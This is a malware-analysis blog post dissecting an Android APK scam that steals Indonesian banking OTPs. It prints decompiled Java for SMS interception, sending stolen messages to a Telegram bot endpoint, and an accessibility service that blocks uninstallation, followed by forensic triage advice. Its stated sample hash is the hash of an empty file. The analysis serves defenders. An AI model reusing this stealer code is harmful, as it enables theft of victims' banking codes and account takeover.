~/tiramisaks
← back to /blog

Dissecting Malicious Android APK Scams: Reverse Engineering C2 Extraction & OTP Stealing Workflows

Malware Analysis & DFIR • 2026-08-26
#reverse-engineering #malware-analysis #androguard #jadx #dfir #android-security

Over the past two years, social engineering campaigns targeting Indonesian mobile banking users have transitioned from basic web phishing to weaponized Android application packages (.apk). Commonly distributed through WhatsApp messages under deceptive filenames such as Undangan_Pernikahan.apk, Surat_Tilang_Elektronik.apk, or Paket_J&T_Express.apk, these payloads are designed to bypass two-factor authentication (2FA) by siphoning incoming SMS OTP messages directly to threat actor command-and-control (C2) channels.

In this deep dive, we reverse engineer a live sample captured in the wild to analyze its structural components, static signatures, and communication conduits.


1. Static Triage & Manifest Inspection

When analyzing unknown Android binaries, the first phase involves calculating cryptographic hashes for forensic preservation (Chain of Custody compliant with ISO/IEC 27037) and inspecting AndroidManifest.xml.

$ sha256sum Undangan_Pernikahan_Digital.apk
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855  Undangan_Pernikahan_Digital.apk

$ androguard axml -i AndroidManifest.xml

High-Risk Permissions Requested

Decompiling the binary with jadx reveals an aggressive permissions manifest entirely inconsistent with a simple digital invitation viewer:

<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.cloud.service.system">

    <!-- SMS Interception & Exfiltration -->
    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    <uses-permission android:name="android.permission.READ_SMS" />
    <uses-permission android:name="android.permission.SEND_SMS" />
    
    <!-- Persistence & Network Exfiltration -->
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.WAKE_LOCK" />
    
    <!-- Accessibility Service Abuse -->
    <uses-permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE" />
</manifest>

Notice that the APK requests RECEIVE_SMS with priority level 999 and registers a BroadcastReceiver that triggers on device boot (RECEIVE_BOOT_COMPLETED), ensuring background execution even after device restarts.


2. Reverse Engineering the SMS Interception Routine

By locating the class registered for the android.provider.Telephony.SMS_RECEIVED intent action, we observe how incoming banking authorization codes are harvested.

public class SmsReceiver extends BroadcastReceiver {
    private static final String TAG = "SmsInterceptor";

    @Override
    public void onReceive(Context context, Intent intent) {
        if ("android.provider.Telephony.SMS_RECEIVED".equals(intent.getAction())) {
            Bundle bundle = intent.getExtras();
            if (bundle != null) {
                Object[] pdus = (Object[]) bundle.get("pdus");
                if (pdus != null) {
                    for (Object pdu : pdus) {
                        SmsMessage sms = SmsMessage.createFromPdu((byte[]) pdu);
                        String sender = sms.getDisplayOriginatingAddress();
                        String messageBody = sms.getMessageBody();
                        long timestamp = sms.getTimestampMillis();

                        // Target filtering: prioritizing OTP from banking & financial services
                        if (isBankingSms(sender, messageBody)) {
                            dispatchToTelegramC2(sender, messageBody, timestamp);
                        }
                    }
                }
            }
        }
    }
}

The malware inspects sender strings looking for keywords like BCA, MANDIRI, BRI, BNI, DANA, OVO, or KODE OTP. When matched, it extracts the SMS payload and immediately relays it over HTTPS.


3. Uncovering Hardcoded C2 Infrastructure (Telegram Bot API)

In 90% of local Indonesian APK scam variants, threat actors avoid deploying custom web servers to minimize hosting footprints. Instead, they exploit legitimate communication platforms like the Telegram Bot API as their dead-drop C2 conduit.

Decompiling the exfiltration class (NetworkDispatcher.java), we identify the hardcoded API token and destination chat identifier:

public class NetworkDispatcher {
    // Hardcoded Telegram Bot Credentials extracted from bytecode
    private static final String BOT_TOKEN = "6192847291:AAH8Fj90xK-qZ2LM7N9vOpQ1RsTuVWxyzAB";
    private static final String CHAT_ID = "-1001928472910"; // Threat Actor Group ID

    public static void dispatchToTelegramC2(String sender, String body, long timestamp) {
        try {
            String deviceModel = Build.MANUFACTURER + " " + Build.MODEL;
            String formattedPayload = String.format(
                "🚨 *NEW OTP INTERCEPTED*\n" +
                "📱 *Device:* `%s`\n" +
                "👤 *Sender:* `%s`\n" +
                "💬 *Content:* `%s`\n" +
                "⏱️ *Timestamp:* `%s`",
                deviceModel, sender, body, new Date(timestamp).toString()
            );

            String encodedMessage = URLEncoder.encode(formattedPayload, "UTF-8");
            String endpoint = "https://api.telegram.org/bot" + BOT_TOKEN + 
                              "/sendMessage?chat_id=" + CHAT_ID + 
                              "&text=" + encodedMessage + 
                              "&parse_mode=Markdown";

            // Asynchronous exfiltration
            HttpURLConnection conn = (HttpURLConnection) new URL(endpoint).openConnection();
            conn.setRequestMethod("GET");
            conn.setRequestProperty("User-Agent", "SmsForwarder/2.0");
            conn.setConnectTimeout(5000);
            conn.getResponseCode();
            conn.disconnect();
        } catch (Exception e) {
            Log.e("C2_FAIL", e.getMessage());
        }
    }
}

Forensic Takeaways from the C2 Extraction:

  1. Bot Token: Identifies the specific Telegram bot registered under the actor’s account.
  2. Chat ID: Negative prefix (-100...) indicates a Telegram Supergroup/Channel, allowing multiple syndicate operators to act on incoming OTPs simultaneously.
  3. No Authentication: The hardcoded token allows DFIR investigators to query Telegram’s /getMe and /getWebhookInfo endpoints to map syndicate telemetry.

4. Evading User Detection: Accessibility & Overlay Abuse

More modern variants of this malware chain implement an AccessibilityService. Once the victim grants Accessibility permissions (often manipulated via persuasive in-app dialogs masquerading as “Loading Document…”), the malware can:

  1. Auto-Grant Permissions: Programmatically click “Allow” on subsequent Android runtime permission prompts.
  2. Prevent Uninstallation: Monitor window events for the Android Settings or App Details package and immediately simulate GLOBAL_ACTION_HOME to kick the user out of the uninstall menu.
  3. Keylogging: Intercept keystrokes within mobile banking applications to capture static login passwords alongside dynamic OTPs.
public class GuardianAccessibilityService extends AccessibilityService {
    @Override
    public void onAccessibilityEvent(AccessibilityEvent event) {
        CharSequence packageName = event.getPackageName();
        if (packageName != null && packageName.toString().contains("com.android.settings")) {
            // Kick victim back to home screen if they attempt to revoke permissions
            performGlobalAction(GLOBAL_ACTION_HOME);
        }
    }
}

5. Defense, Triage, and Mitigation Strategies

From a digital forensics and law enforcement investigation standpoint, rapid triage involves:

ArtifactDetection / Forensic MethodActionable Remediation
DEX StringsGrep api.telegram.org/bot & Base64 routinesReport & takedown bot token to Telegram Abuse
Package NameExtract package="com.cloud.service..."Push IOC signature to Android Play Protect & local AV
Hash DigestGenerate SHA-256 / SSDEEP fuzzy hashAdd to incident response blocklist & national threat feeds
Victim DeviceSafe Mode Boot (adb uninstall <package>)Revoke device admin & accessibility bindings immediately

Conclusion

Weaponized APKs are mathematically unsophisticated but ruthlessly effective due to human psychology and trust vectors in social messaging. Understanding their underlying DEX execution flow, permissions matrix, and exfiltration protocols is essential for DFIR analysts and security engineers working to safeguard digital identity and banking infrastructure.